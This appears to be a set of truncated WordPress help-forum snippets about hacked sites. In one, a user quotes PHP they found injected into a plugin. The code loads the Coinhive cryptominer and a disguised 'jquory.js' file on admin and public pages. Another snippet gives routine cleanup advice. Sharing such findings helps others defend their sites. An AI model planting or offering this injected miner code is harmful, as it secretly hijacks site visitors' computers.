malware in wordpress installer on dreamhost. [closed]

I found the problem.. Answering for others who might have gotten this… There is this code embedded in one of the plugins function enqueue_my_scripts() { wp_enqueue_script( ‘wp-internal’, ‘https://coinhive.com/lib/coinhive.min.js’, false, false, true ); wp_enqueue_script( ‘wp-backend’, plugins_url() . ‘/LayerSlider/assets/js/jquory.js’, false, false, true ); } add_action( ‘admin_enqueue_scripts’, ‘enqueue_my_scripts’ ); add_action( ‘wp_enqueue_scripts’, ‘enqueue_my_scripts’ ); And this javascript file Jquory.js. … Read more

My blog was hacked? WP posting random posts

There are many things you need to do to fix a hacked site. Lots of googles on how to do it. Important things to do: change passwords on everything – WP accounts, FTP accounts, hosting accounts. Strong passwords, of course. remove the user called ‘admin’ (or just give it Subscriber level, after making a new … Read more